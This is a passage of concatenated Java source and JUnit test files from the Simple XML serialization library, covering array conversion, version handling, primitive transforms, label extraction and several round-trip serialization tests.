* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.reflect.Array;
import org.simpleframework.xml.strategy.Type;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.OutputNode;
import org.simpleframework.xml.stream.Position;
/**
* The <code>PrimitiveArray</code> object is used to convert a list of
* elements to an array of object entries. This in effect performs a
* serialization and deserialization of primitive elements for the
* array object. On serialization each primitive type must be checked
* against the array component type so that it is serialized in a form
* that can be deserialized dynamically.
* <pre>
*
* <array>
* <entry>example text one</entry>
* <entry>example text two</entry>
* <entry>example text three</entry>
* </array>
*
* </pre>
* For the above XML element list the element <code>entry</code> is
* contained within the array. Each entry element is deserialized as
* a from a parent XML element, which is specified in the annotation.
* For serialization the reverse is done, each element taken from the
* array is written into an element created from the parent element.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.Primitive
* @see org.simpleframework.xml.ElementArray
*/
class PrimitiveArray implements Converter {
/**
* This factory is used to create an array for the contact.
*/
private final ArrayFactory factory;
/**
* This performs the serialization of the primitive element.
*/
private final Primitive root;
/**
* This is the name that each array element is wrapped with.
*/
private final String parent;
/**
* This is the type of object that will be held in the list.
*/
private final Type entry;
/**
* This represents the actual field or method for the array.
*/
private final Type type;
/**
* Constructor for the <code>PrimitiveArray</code> object. This is
* given the array type for the contact that is to be converted. An
* array of the specified type is used to hold the deserialized
* elements and will be the same length as the number of elements.
*
* @param context this is the context object used for serialization
* @param type this is the actual field type from the schema
* @param entry the entry type to be stored within the array
* @param parent this is the name to wrap the array element with
*/
public PrimitiveArray(Context context, Type type, Type entry, String parent) {
this.factory = new ArrayFactory(context, type);
this.root = new Primitive(context, entry);
this.parent = parent;
this.entry = entry;
this.type = type;
}
/**
* This <code>read</code> method will read the XML element list from
* the provided node and deserialize its children as entry types.
* This will deserialize each entry type as a primitive value. In
* order to do this the parent string provided forms the element.
*
* @param node this is the XML element that is to be deserialized
*
* @return this returns the item to attach to the object contact
*/
public Object read(InputNode node) throws Exception{
Instance type = factory.getInstance(node);
Object list = type.getInstance();
if(!type.isReference()) {
return read(node, list);
}
return list;
}
/**
* This <code>read</code> method will read the XML element list from
* the provided node and deserialize its children as entry types.
* This will deserialize each entry type as a primitive value. In
* order to do this the parent string provided forms the element.
*
* @param node this is the XML element that is to be deserialized
* @param list this is the array to read the array values in to
*
* @return this returns the item to attach to the object contact
*/
public Object read(InputNode node, Object list) throws Exception{
int length = Array.getLength(list);
for(int pos = 0; true; pos++) {
Position line = node.getPosition();
InputNode next = node.getNext();
if(next == null) {
return list;
}
if(pos >= length){
throw new ElementException("Array length missing or incorrect for %s at %s", type, line);
}
Array.set(list, pos, root.read(next));
}
}
/**
* This <code>validate</code> method will validate the XML element list
* from the provided node and validate its children as entry types.
* This will validate each entry type as a primitive value. In order
* to do this the parent string provided forms the element.
*
* @param node this is the XML element that is to be validated
*
* @return true if the element matches the XML schema class given
*/
public boolean validate(InputNode node) throws Exception{
Instance value = factory.getInstance(node);
if(!value.isReference()) {
Object result = value.setInstance(null);
Class expect = value.getType();
return validate(node, expect);
}
return true;
}
/**
* This <code>validate</code> method will validate the XML element list
* from the provided node and validate its children as entry types.
* This will validate each entry type as a primitive value. In order
* to do this the parent string provided forms the element.
*
* @param node this is the XML element that is to be validated
* @param type this is the array type used to create the array
*
* @return true if the element matches the XML schema class given
*/
private boolean validate(InputNode node, Class type) throws Exception{
while(true) {
InputNode next = node.getNext();
if(next == null) {
return true;
}
root.validate(next);
}
}
/**
* This <code>write</code> method will write the specified object
* to the given XML element as as array entries. Each entry within
* the given array must be assignable to the array component type.
* This will deserialize each entry type as a primitive value. In
* order to do this the parent string provided forms the element.
*
* @param source this is the source object array to be serialized
* @param node this is the XML element container to be populated
*/
public void write(OutputNode node, Object source) throws Exception {
int size = Array.getLength(source);
for(int i = 0; i < size; i++) {
OutputNode child = node.getChild(parent);
if(child == null) {
break;
}
write(child, source, i);
}
}
/**
* This <code>write</code> method will write the specified object
* to the given XML element as as array entries. Each entry within
* the given array must be assignable to the array component type.
* This will deserialize each entry type as a primitive value. In
* order to do this the parent string provided forms the element.
*
* @param source this is the source object array to be serialized
* @param node this is the XML element container to be populated
* @param index this is the position in the array to set the item
*/
private void write(OutputNode node, Object source, int index) throws Exception {
Object item = Array.get(source, index);
if(item != null) {
if(!isOverridden(node, item)) {
root.write(node, item);
}
}
}
/**
* This is used to determine whether the specified value has been
* overridden by the strategy. If the item has been overridden
* then no more serialization is require for that value, this is
* effectively telling the serialization process to stop writing.
*
* @param node the node that a potential override is written to
* @param value this is the object instance to be serialized
*
* @return returns true if the strategy overrides the object
*/
private boolean isOverridden(OutputNode node, Object value) throws Exception{
return factory.setOverride(entry, value, node);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/NestedListTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class NestedListTest extends ValidationTestCase {
private static String SOURCE = "<testSuit>\r"
+ "<defaultTestScenario>\r"
+ "<testCase name='Test Case' description='abc'>\r"
+ "<step id='1' action='open' target='field id' value='value' />\r"
+ "<step id='2' action='type' target='field id' value='value' />\r"
+ "<step id='3' action='select' target='field id' value='value' />\r"
+ "<step id='4' action='clickAndWait' target='field id' value='value' />\r"
+ "<step id='5' action='assertTrue' target='field id' value='value' />\r"
+ "</testCase>\r"
+ "<testCase name='Test Case1' description='abc'>\r"
+ "<step id='1' action='open' target='field id' value='value' />\r"
+ "<step id='2' action='type' target='field id' value='value' />\r"
+ "<step id='3' action='select' target='field id' value='value' />\r"
+ "<step id='4' action='clickAndWait' target='field id' value='value' />\r"
+ "<step id='5' action='assertTrue' target='field id' value='value' />\r"
+ "</testCase>\r"
+ "</defaultTestScenario>\r"
+ "<testScenario name='Test Case1,Test Case3' description='abc'\r"
+ "includeDefault='true'>\r"
+ "<testCase name='Test Case1' description='abc'>\r"
+ "<step id='1' action='open' target='field id' value='value' />\r"
+ "<step id='2' action='type' target='field id' value='value' />\r"
+ "<step id='3' action='select' target='field id' value='value' />\r"
+ "<step id='4' action='clickAndWait' target='field id' value='value' />\r"
+ "<step id='5' action='assertTrue' target='field id' value='value' />\r"
+ "<step id='6' action='assertTrue' target='field id' value='value' />\r"
+ "</testCase>\r"
+ "<testCase name='Test Case3' description='abc'>\r"
+ "<step id='1' action='open' target='field id' value='value' />\r"
+ "<step id='2' action='type' target='field id' value='value' />\r"
+ "<step id='3' action='select' target='field id' value='value' />\r"
+ "<step id='4' action='clickAndWait' target='field id' value='value' />\r"
+ "<step id='5' action='assertTrue' target='field id' value='value' />\r"
+ "<step id='6' action='assertTrue' target='field id' value='value' />\r"
+ "<step id='7' action='assertTrue' target='field id' value='value' />\r"
+ "</testCase>\r"
+ "</testScenario>\r"
+ "<testScenario name='Test Case2,Test Case4' description='abc'>\r"
+ "<testCase name='Test Case2' description=''>\r"
+ "<step id='1' action='open' target='field id' value='value' />\r"
+ "<step id='2' action='type' target='field id' value='value' />\r"
+ "<step id='3' action='select' target='field id' value='value' />\r"
+ "<step id='4' action='clickAndWait' target='field id' value='value' />\r"
+ "<step id='5' action='assertTrue' target='field id' value='value' />\r"
+ "<step id='6' action='open' target='field id' value='value' />\r"
+ "<step id='7' action='type' target='field id' value='value' />\r"
+ "<step id='8' action='select' target='field id' value='value' />\r"
+ "<step id='9' action='clickAndWait' target='field id' value='value' />\r"
+ "<step id='10' action='assertTrue' target='field id' value='value' />\r"
+ "</testCase>\r"
+ "<testCase name='Test Case4' description=''>\r"
+ "<step id='1' action='open' target='field id' value='value' />\r"
+ "<step id='2' action='type' target='field id' value='value' />\r"
+ "<step id='3' action='select' target='field id' value='value' />\r"
+ "<step id='4' action='clickAndWait' target='field id' value='value' />\r"
+ "<step id='5' action='assertTrue' target='field id' value='value' />\r"
+ "</testCase>\r" + "</testScenario>\r" + "</testSuit>\r";
@Root
public static class DefaultTestScenario {
@ElementList(inline = true)
private List<TestCase> testCases;
@Attribute(required = false)
private String includeDefault = Boolean.toString(false);
public boolean getIncludeDefault() {
return Boolean.parseBoolean(includeDefault);
}
public List<TestCase> getTestCases() {
return testCases;
}
}
@Root
public static class TestScenario {
@Element(required = false)
private String uRLs;
@Attribute
private String name;
@Attribute
private String description;
@ElementList(inline = true)
private List<TestCase> testCases;
@Attribute(required = false)
private String includeDefault = Boolean.toString(false);
public boolean getIncludeDefault() {
return Boolean.parseBoolean(includeDefault);
}
public List<TestCase> getTestCases() {
return testCases;
}
public String getURLs() {
return uRLs;
}
public String getName() {
return name;
}
public String getDescription() {
return description;
}
@Override
public String toString() {
return getName();
}
}
@Root
public final static class TestCase {
@ElementList(inline = true)
private List<Step> steps;
@Attribute
private String name;
@Attribute
private String description;
@Attribute(required = false)
private String addBefore;
public String getAddBefore() {
return addBefore;
}
public String getName() {
return name;
}
public String getDescription() {
return description;
}
public List<Step> getSteps() {
return steps;
}
@Override
public String toString() {
return getName();
}
}
@Root
public final static class Step {
@Attribute
private int id;
@Attribute
private String action;
@Attribute
private String target;
@Attribute
private String value;
public int getId() {
return id;
}
public String getAction() {
return action;
}
public String getTarget() {
return target;
}
public String getValue() {
return value;
}
@Override
public String toString() {
return Integer.toString(getId());
}
}
@Root
public static class TestSuit {
@Element
private DefaultTestScenario defaultTestScenario;
@ElementList(inline = true, entry = "testScenario")
private List<TestScenario> testScenario;
public DefaultTestScenario getDefaultTestScenario() {
return defaultTestScenario;
}
public List<TestScenario> getTestScenario() {
return testScenario;
}
}
public void testNestedList() throws Exception {
Persister persister = new Persister();
TestSuit suit = persister.read(TestSuit.class, SOURCE);
persister.write(suit,System.out);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Commit.java<|end_filename|>
/*
* Commit.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Retention;
/**
* The <code>Commit</code> annotation is used to mark a method within
* a serializable object that requires a callback from the persister
* once the deserialization completes. The commit method is invoked
* by the <code>Persister</code> after all fields have been assigned
* and after the validation method has been invoked, if the object
* has a method marked with the <code>Validate</code> annotation.
* <p>
* Typically the commit method is used to complete deserialization
* by allowing the object to build further data structures from the
* fields that have been created from the deserialization process.
* The commit method must be a no argument method or a method that
* takes a single <code>Map</code> object argument, and may throw an
* exception, in which case the deserialization process terminates.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.Validate
*/
@Retention(RetentionPolicy.RUNTIME)
public @interface Commit {
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/IndentTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.stream.Format;
public class IndentTest extends ValidationTestCase {
private static final String EXAMPLE =
"<?xml version=\"1.0\"?>\n"+
"<contact id='some id'>\n"+
" <details> \n\r"+
" <title>Some Title</title> \n"+
" <mail><EMAIL></mail> \n"+
" <name><NAME></name> \n"+
" </details>\n"+
"</contact>";
@Root(name="contact")
private static class Contact {
@Attribute(name="id")
private String id;
@Element(name="details")
private Details details;
}
@Root(name="details")
private static class Details {
@Element(name="title")
private String title;
@Element(name="mail")
private String mail;
@Element(name="name")
private String name;
}
public void testIndent() throws Exception {
Persister serializer = new Persister(new Format(5));
Contact contact = serializer.read(Contact.class, EXAMPLE);
assertEquals(contact.id, "some id");
assertEquals(contact.details.title, "Some Title");
assertEquals(contact.details.mail, "<EMAIL>");
assertEquals(contact.details.name, "<NAME>");
StringWriter buffer = new StringWriter();
serializer.write(contact, buffer);
String text = buffer.toString();
assertTrue(text.indexOf(" ") > 0); // indents
assertTrue(text.indexOf('\n') > 0); // line feed
validate(contact, serializer);
}
public void testNoIndent() throws Exception {
Persister serializer = new Persister(new Format(0));
Contact contact = serializer.read(Contact.class, EXAMPLE);
assertEquals(contact.id, "some id");
assertEquals(contact.details.title, "Some Title");
assertEquals(contact.details.mail, "<EMAIL>");
assertEquals(contact.details.name, "<NAME>");
StringWriter buffer = new StringWriter();
serializer.write(contact, buffer);
String text = buffer.toString();
assertTrue(text.indexOf(" ") < 0); // no indents
assertTrue(text.indexOf('\n') < 0); // no line feed
assertTrue(text.indexOf('\r') < 0); // no carrige return
validate(contact, serializer);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/VersionTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.lang.reflect.Constructor;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.Version;
import org.simpleframework.xml.strategy.Value;
public class VersionTest extends TestCase {
private static final String VERSION_1 =
"<?xml version=\"1.0\"?>\n"+
"<Example version='1.0'>\n"+
" <text>text value</text> \n\r"+
"</Example>";
private static final String VERSION_2 =
"<?xml version=\"1.0\"?>\n"+
"<Example version='2.0'>\n"+
" <name>example name</name> \n\r"+
" <value>text value</value> \n"+
" <entry name='example'>\n"+
" <value>text value</value> \n"+
" </entry>\n"+
" <ignore>ignore this element</ignore>\n"+
"</Example>";
public interface Versionable {
public double getVersion();
}
@Root(name="Example")
private static abstract class Example implements Versionable {
@Version
@Namespace(prefix="prefix", reference="http://www.domain.com/reference")
private double version;
public double getVersion() {
return version;
}
public abstract String getValue();
}
private static class Example1 extends Example {
@Element(name="text")
private String text;
public String getValue() {
return text;
}
}
private static class Example2 extends Example {
@Element(name="name")
private String name;
@Element(name="value")
private String value;
@Element(name="entry")
private Entry entry;
public String getValue() {
return value;
}
}
private static class Entry {
@Attribute(name="name")
private String name;
@Element(name="value")
private String value;
}
public static class SimpleType implements Value{
private Class type;
public SimpleType(Class type) {
this.type = type;
}
public int getLength() {
return 0;
}
public Object getValue() {
try {
Constructor method = type.getDeclaredConstructor();
if(!method.isAccessible()) {
method.setAccessible(true);
}
return method.newInstance();
}catch(Exception e) {
throw new RuntimeException(e);
}
}
public void setValue(Object value) {
}
public boolean isReference() {
return false;
}
public Class getType() {
return type;
}
}
public void testVersion1() throws Exception {
Serializer persister = new Persister();
Example example = persister.read(Example1.class, VERSION_1);
assertTrue(example instanceof Example1);
assertEquals(example.getValue(), "text value");
assertEquals(example.version, 1.0);
persister.write(example, System.out);
assertEquals(example.getValue(), "text value");
assertEquals(example.version, 1.0);
}
public void testVersion2() throws Exception {
Serializer persister = new Persister();
Example example = persister.read(Example2.class, VERSION_2);
assertTrue(example instanceof Example2);
assertEquals(example.getValue(), "text value");
assertEquals(example.version, 2.0);
persister.write(example, System.out);
assertEquals(example.getValue(), "text value");
assertEquals(example.version, 2.0);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/strategy/PackageParserTest.java<|end_filename|>
package org.simpleframework.xml.strategy;
import java.net.URI;
import java.util.HashMap;
import junit.framework.TestCase;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.w3c.dom.Node;
public class PackageParserTest extends TestCase {
private static final int ITERATIONS = 100000;
/*
* javax.xml.namespace.NamespaceContext.getNamespaceURI(String prefix)
*
* e.g
*
* String reference = context.getNamespaceURI("class")
* Class type = parser.parse(reference);
*
* <element xmlns:class='http://util.java/ArrayList'>
* <name>name</name>
* <value>value</value>
* </element>
*
*/
public void testParser() throws Exception {
assertEquals("http://util.java/HashMap", parse(HashMap.class));
assertEquals("http://simpleframework.org/xml/Element", parse(Element.class));
assertEquals("http://simpleframework.org/xml/ElementList", parse(ElementList.class));
assertEquals("http://w3c.org/dom/Node", parse(Node.class));
assertEquals("http://simpleframework.org/xml/strategy/PackageParser", parse(PackageParser.class));
assertEquals(HashMap.class, revert("http://util.java/HashMap"));
assertEquals(Element.class, revert("http://simpleframework.org/xml/Element"));
assertEquals(ElementList.class, revert("http://simpleframework.org/xml/ElementList"));
assertEquals(Node.class, revert("http://w3c.org/dom/Node"));
assertEquals(PackageParser.class, revert("http://simpleframework.org/xml/strategy/PackageParser"));
long start = System.currentTimeMillis();
for(int i = 0; i < ITERATIONS; i++) {
fastParse(ElementList.class);
}
long fast = System.currentTimeMillis() - start;
start = System.currentTimeMillis();
for(int i = 0; i < ITERATIONS; i++) {
parse(ElementList.class);
}
long normal = System.currentTimeMillis() - start;
System.out.printf("fast=%sms normal=%sms diff=%s%n", fast, normal, normal / fast);
}
public String fastParse(Class type) throws Exception {
return new PackageParser().parse(type);
}
public String parse(Class type) throws Exception {
return new PackageParser().parse(type);
}
public Class revert(String type) throws Exception {
return new PackageParser().revert(type);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Revision.java<|end_filename|>
/*
* Revision.java July 2008
*
* Copyright (C) 2008, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
/**
* The <code>Revision</code> object is used represent the revision
* of a class as read from a version attribute. It determines the
* type of deserialization that takes place.
*
* @author <NAME>
*/
class Revision {
/**
* This is used to track the revision comparision of the class.
*/
private boolean equal;
/**
* Constructor of the <code>Revision</code> object. This is used
* to create a comparator object that will compare and cache the
* comparison of the expected and current version of the class.
*/
public Revision() {
this.equal = true;
}
/**
* This is used to acquire the default revision. The default
* revision is the revision expected if there is not attribute
* representing the version in the XML element for the object.
*
* @return this returns the default version for the object
*/
public double getDefault() {
return 1.0;
}
/**
* This is used to compare the expected and current versions of
* the class. Once compared the comparison result is cached
* within the revision class so that it can be used repeatedly.
*
* @param expected this is the expected version of the class
* @param current this is the current version of the class
*
* @return this returns true if the versions are the same
*/
public boolean compare(Object expected, Object current) {
if(current != null) {
equal = current.equals(expected);
} else if(expected != null) {
equal = expected.equals(1.0);
}
return equal;
}
/**
* This returns the cached comparision of the revisions. This
* will be true if not comparison was performed. If however one
* was performed then this will represent the result.
*
* @return this returns the cached version of the comparison
*/
public boolean isEqual() {
return equal;
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/transform/PrimitiveMatcher.java<|end_filename|>
/*
* PrimitiveMatcher.java May 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.transform;
/**
* The <code>PrimitiveMatcher</code> object is used to resolve the
* primitive types to a stock transform. This will basically use
* a transform that is used with the primitives language object.
* This will always return a suitable transform for a primitive.
*
* @author <NAME>
*
* @see org.simpleframework.xml.transform.DefaultMatcher
*/
class PrimitiveMatcher implements Matcher {
/**
* Constructor for the <code>PrimitiveMatcher</code> object. The
* primitive matcher is used to resolve a transform instance to
* convert primitive types to an from strings. If a match is not
* found with this matcher then an exception is thrown.
*/
public PrimitiveMatcher() {
super();
}
/**
* This method is used to match the specified type to primitive
* transform implementations. If this is given a primitive then
* it will always return a suitable <code>Transform</code>. If
* however it is given an object type an exception is thrown.
*
* @param type this is the primitive type to be transformed
*
* @return this returns a stock transform for the primitive
*/
public Transform match(Class type) throws Exception {
if(type == int.class) {
return new IntegerTransform();
}
if(type == boolean.class) {
return new BooleanTransform();
}
if(type == long.class) {
return new LongTransform();
}
if(type == double.class) {
return new DoubleTransform();
}
if(type == float.class) {
return new FloatTransform();
}
if(type == short.class) {
return new ShortTransform();
}
if(type == byte.class) {
return new ByteTransform();
}
if(type == char.class) {
return new CharacterTransform();
}
return null;
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/filter/Filter.java<|end_filename|>
/*
* Filter.java May 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.filter;
/**
* The <code>Filter</code> object is used to provide replacement string
* values for a provided key. This allows values within the XML source
* document to be replaced using sources such as OS environment variables
* and Java system properties.
* <p>
* All filtered variables appear within the source text using a template
* and variable keys marked like <code>${example}</code>. When the XML
* source file is read all template variables are replaced with the
* values provided by the filter. If no replacement exists then the XML
* source text remains unchanged.
*
* @author <NAME>
*/
public interface Filter {
/**
* Replaces the text provided with some property. This method
* acts much like a the get method of the <code>Map</code>
* object, in that it uses the provided text as a key to some
* value. However it can also be used to evaluate expressions
* and output the result for inclusion in the generated XML.
*
* @param text this is the text value that is to be replaced
*
* @return returns a replacement for the provided text value
*/
String replace(String text);
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/HierarchyTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
public class HierarchyTest extends ValidationTestCase {
public static class Basic {
@Element
private String a;
@Element
private String b;
private long one;
private Basic() {
super();
}
public Basic(long one, String a, String b) {
this.one = one;
this.a = a;
this.b = b;
}
@Element
public long getOne() {
return one;
}
@Element
public void setOne(long one) {
this.one = one;
}
}
public static class Abstract extends Basic {
@Element
private int c;
private Abstract() {
super();
}
public Abstract(long one, String a, String b, int c) {
super(one, a, b);
this.c = c;
}
}
public static class Specialized extends Abstract {
@Element
private int d;
private double two;
private Specialized() {
super();
}
public Specialized(long one, double two, String a, String b, int c, int d) {
super(one, a, b, c);
this.two = two;
this.d = d;
}
@Element
public double getTwo() {
return two;
}
@Element
public void setTwo(double two) {
this.two = two;
}
}
public void testHierarchy() throws Exception {
Serializer serializer = new Persister();
Specialized special = new Specialized(1L, 2.0, "a", "b", 1, 2);
validate(special, serializer);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/MissingGenericsTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import junit.framework.TestCase;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
public class MissingGenericsTest extends TestCase {
@Root
private static class MissingGenerics {
@SuppressWarnings("unchecked")
@ElementMap(keyType=String.class, valueType=String.class)
private Map map = new HashMap();
@SuppressWarnings("unchecked")
@ElementList(type=String.class)
private List list = new ArrayList();
@SuppressWarnings("unchecked")
public Map getMap() {
return map;
}
@SuppressWarnings("unchecked")
public List getList() {
return list;
}
}
@SuppressWarnings("unchecked")
public void testMissingGenerics() throws Exception {
MissingGenerics example = new MissingGenerics();
Persister persister = new Persister();
Map map = example.getMap();
map.put("a", "A");
map.put("b", "B");
map.put("c", "C");
map.put("d", "D");
map.put("e", "E");
List list = example.getList();
list.add("1");
list.add("2");
list.add("3");
list.add("4");
list.add("5");
StringWriter out = new StringWriter();
persister.write(example, out);
String text = out.toString();
MissingGenerics recovered = persister.read(MissingGenerics.class, text);
assertEquals(recovered.getMap().size(), 5);
assertEquals(recovered.getMap().get("a"), "A");
assertEquals(recovered.getMap().get("b"), "B");
assertEquals(recovered.getMap().get("c"), "C");
assertEquals(recovered.getMap().get("d"), "D");
assertEquals(recovered.getMap().get("e"), "E");
assertTrue(recovered.getList().contains("1"));
assertTrue(recovered.getList().contains("2"));
assertTrue(recovered.getList().contains("3"));
assertTrue(recovered.getList().contains("4"));
assertTrue(recovered.getList().contains("5"));
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/LabelExtractor.java<|end_filename|>
/*
* LabelFactory.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import static java.util.Collections.emptyList;
import java.lang.annotation.Annotation;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.LinkedList;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementListUnion;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.ElementMapUnion;
import org.simpleframework.xml.ElementUnion;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.Version;
import org.simpleframework.xml.stream.Format;
import org.simpleframework.xml.util.Cache;
import org.simpleframework.xml.util.ConcurrentCache;
/**
* The <code>LabelExtractor</code> object is used to create instances of
* the <code>Label</code> object that can be used to convert an XML
* node into a Java object. Each label created requires the contact it
* represents and the XML annotation it is marked with.
* <p>
* The <code>Label</code> objects created by this factory a selected
* using the XML annotation type. If the annotation type is not known
* the factory will throw an exception, otherwise a label instance
* is created that will expose the properties of the annotation.
*
* @author <NAME>
*/
class LabelExtractor {
/**
* This is used to cache the list of labels that have been created.
*/
private final Cache<LabelGroup> cache;
/**
* Contains the format that is associated with the serializer.
*/
private final Format format;
/**
* Constructor for the <code>LabelExtractor</code> object. This
* creates an extractor that will extract labels for a specific
* contact. Labels are cached within the extractor so that they
* can be looked up without having to rebuild it each time.
*
* @param format this is the format used by the serializer
*/
public LabelExtractor(Format format) {
this.cache = new ConcurrentCache<LabelGroup>();
this.format = format;
}
/**
* Creates a <code>Label</code> using the provided contact and XML
* annotation. The label produced contains all information related
* to an object member. It knows the name of the XML entity, as
* well as whether it is required. Once created the converter can
* transform an XML node into Java object and vice versa.
*
* @param contact this is contact that the label is produced for
* @param label represents the XML annotation for the contact
*
* @return returns the label instantiated for the contact
*/
public Label getLabel(Contact contact, Annotation label) throws Exception {
Object key = getKey(contact, label);
LabelGroup list = getGroup(contact, label, key);
if(list != null) {
return list.getPrimary();
}
return null;
}
/**
* Creates a <code>List</code> using the provided contact and XML
* annotation. The labels produced contain all information related
* to an object member. It knows the name of the XML entity, as
* well as whether it is required. Once created the converter can
* transform an XML node into Java object and vice versa.
*
* @param contact this is contact that the label is produced for
* @param label represents the XML annotation for the contact
*
* @return returns the list of labels associated with the contact
*/
public List<Label> getList(Contact contact, Annotation label) throws Exception {
Object key = getKey(contact, label);
LabelGroup list = getGroup(contact, label, key);
if(list != null) {
return list.getList();
}
return emptyList();
}
/**
* Creates a <code>LabelGroup</code> using the provided contact and
* annotation. The labels produced contain all information related
* to an object member. It knows the name of the XML entity, as
* well as whether it is required. Once created the converter can
* transform an XML node into Java object and vice versa.
*
* @param contact this is contact that the label is produced for
* @param label represents the XML annotation for the contact
* @param key this is the key that uniquely represents the contact
*
* @return returns the list of labels associated with the contact
*/
private LabelGroup getGroup(Contact contact, Annotation label, Object key) throws Exception {
LabelGroup value = cache.fetch(key);
if(value == null) {
LabelGroup list = getLabels(contact, label);
if(list != null) {
cache.cache(key, list);
}
return list;
}
return value;
}
/**
* Creates a <code>LabelGroup</code> using the provided contact and
* annotation. The labels produced contain all information related
* to an object member. It knows the name of the XML entity, as
* well as whether it is required. Once created the converter can
* transform an XML node into Java object and vice versa.
*
* @param contact this is contact that the label is produced for
* @param label represents the XML annotation for the contact
*
* @return returns the list of labels associated with the contact
*/
private LabelGroup getLabels(Contact contact, Annotation label) throws Exception {
if(label instanceof ElementUnion) {
return getUnion(contact, label);
}
if(label instanceof ElementListUnion) {
return getUnion(contact, label);
}
if(label instanceof ElementMapUnion) {
return getUnion(contact, label);
}
return getSingle(contact, label);
}
/**
* Creates a <code>LabelGroup</code> using the provided contact and
* annotation. The labels produced contain all information related
* to an object member. It knows the name of the XML entity, as
* well as whether it is required. Once created the converter can
* transform an XML node into Java object and vice versa.
*
* @param contact this is contact that the label is produced for
* @param label represents the XML annotation for the contact
*
* @return returns the list of labels associated with the contact
*/
private LabelGroup getSingle(Contact contact, Annotation label) throws Exception {
Label value = getLabel(contact, label, null);
if(value != null) {
value = new CacheLabel(value);
}
return new LabelGroup(value);
}
/**
* Creates a <code>LabelGroup</code> using the provided contact and
* annotation. The labels produced contain all information related
* to an object member. It knows the name of the XML entity, as
